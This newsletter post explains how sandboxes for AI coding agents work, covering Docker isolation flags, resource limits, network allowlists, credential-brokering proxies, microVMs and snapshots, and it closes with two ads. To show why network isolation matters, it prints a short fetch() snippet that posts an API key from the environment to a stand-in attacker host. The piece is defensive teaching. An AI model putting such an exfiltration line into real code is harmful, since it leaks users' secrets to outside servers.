In partnership with
When your coding agent needs an API key, where does that key live?
Giving an AI agent a shell takes one line of code, exec(agentOutput), and with that line it can run your tests, install packages, edit files and spin up servers.
It can also read anything on your machine and send your API keys somewhere you'll never find out about.
That's why coding agents live inside sandboxes, and I realised I'd been using that word for months without really knowing what it covers.
So this week I pulled one apart, layer by layer, starting from a single Docker command.
But first:
Tools That Caught My Attention
OpenAI Sandbox Agents: Gives an agent an isolated Unix-like workspace with files, a shell, packages, ports and snapshots, so it can pick up where it left off.
Daytona: Infrastructure for running agent code, with dedicated compute, networking, snapshots and credential brokering.
Firecracker: A lower-level microVM runtime, worth reading about if you want to see how stronger isolation gets built.
How Agent Sandboxes Work
The easiest way I've found to think about a sandbox is as a spare laptop you hand to the agent. It gets a shell, a filesystem, packages and some internet, and your actual machine stays out of reach.
Most of that spare laptop can be set up with one Docker command. Say the agent wants to run npm test. Instead of running it on your machine, your app does this:
docker run --rm \
--memory 512m --cpus 1 \
--network none --read-only \
--cap-drop ALL --tmpfs /tmp \
-e npm_config_cache=/tmp/.npm \
-v "$PWD:/workspace" -w /workspace \
node:24-alpine sh -lc "npm test"
Every flag in there is doing a job, and between them they cover most of what a sandbox is.
1. Its own filesystem.
Inside the container, / isn't your laptop, so the agent can delete, install and make a mess without touching anything.
If it needs your repo you can copy it in or mount just that folder, and for throwaway jobs copying is safer, since a mounted folder is still your real folder.
2. Limits on what it can burn.
Being isolated won't stop an agent from writing a loop that eats memory forever or pins every CPU core, which is where --memory and --cpus come in.
Add a timeout as well, so a command that's still running after 30 seconds takes the whole sandbox down with it.
3. A wall around the network.
This is the one I'd have missed. A package the agent installs could have this buried somewhere inside:
fetch("https://evil.example", {
method: "POST",
body: process.env.API_KEY
})That code never has to break out of anything, it just posts your key to someone else's server.
--network none stops it, and since most agents do need the internet, production setups use an allowlist instead, so GitHub, npm and your model's API get through and random-server.xyz doesn't.
4. Keys that never go in.
Forwarding your whole environment into the sandbox is a very common shortcut, and it hands every key you own to code you didn't write.
Daytona's fix was my favourite thing I read while putting this together.
The sandbox only ever gets a fake placeholder, and a proxy sitting outside swaps in the real key when a request heads to an approved API.
So even if the code goes rogue, it can use the key without ever seeing it.
5. A kernel of its own.
Containers keep files, processes and networking apart, and yet all of them run on the same host kernel.
Docker trims what a container can ask that kernel for, and for riskier work you give each sandbox its own kernel inside a tiny VM.
Their AI sandboxes now work this way on a VM layer Docker built itself, and Firecracker, the microVM that powers AWS Lambda, is the best-known open-source way to build the same thing.
On top of all that, a sandbox has to remember things.
By your second message the agent may have cloned the repo, installed everything and read 200 files, and nobody wants to redo that every time.
Snapshots save that state and bring it back later (Daytona and OpenAI both support them), which makes the sandbox feel a lot like the agent's own little computer.
If you want to play with this locally, the Docker command above plus a small function your agent calls instead of exec gets you surprisingly far.
It still shares your kernel and has no proxy or allowlist, so treat it as a way to understand the idea rather than something to ship.
My take
We spend most of our agent conversations arguing about models.
Once an agent can run code, though, the box it runs in matters just as much, because the model decides what it wants to do and the sandbox decides how much of that happens.
These days when I try a new agent product, I go looking for how its sandbox works pretty early.
Which files it sees, which servers it can reach, how long it can run and whether it ever holds a real key tell me more about how far I can trust it than any benchmark does.
Until next time,
Vaibhav 🤝
If you read till here, you might find this interesting
#AD 1
The best in influencer marketing. And you’re invited.
Get ready for Return on Influence Festival '26. An entire day dedicated to influencer marketing with speakers running some of the best programs in the world.
Already booked:
Maya Shaff, ŌURA
Leah Walker, Adobe
Georgia Humphries, Stanley 1913
Tyler Vaught, Edelman
Josh Rangel, Ogilvy
and many more to be announced soon…
It’s free, it’s online, and you’ll take away something you can apply to your job the very next day. Scout’s honor!
#AD 2
100+ coding prompts top engineers use to ship 5X faster
Claude Code, Codex, and Cursor are on every engineer's stack. Most still treat them like a search bar. Top engineers work from a system, these 100+ prompts are that system. Sign up for The Code and get the prompts free, plus a 5-minute daily newsletter to keep sharpening your edge.
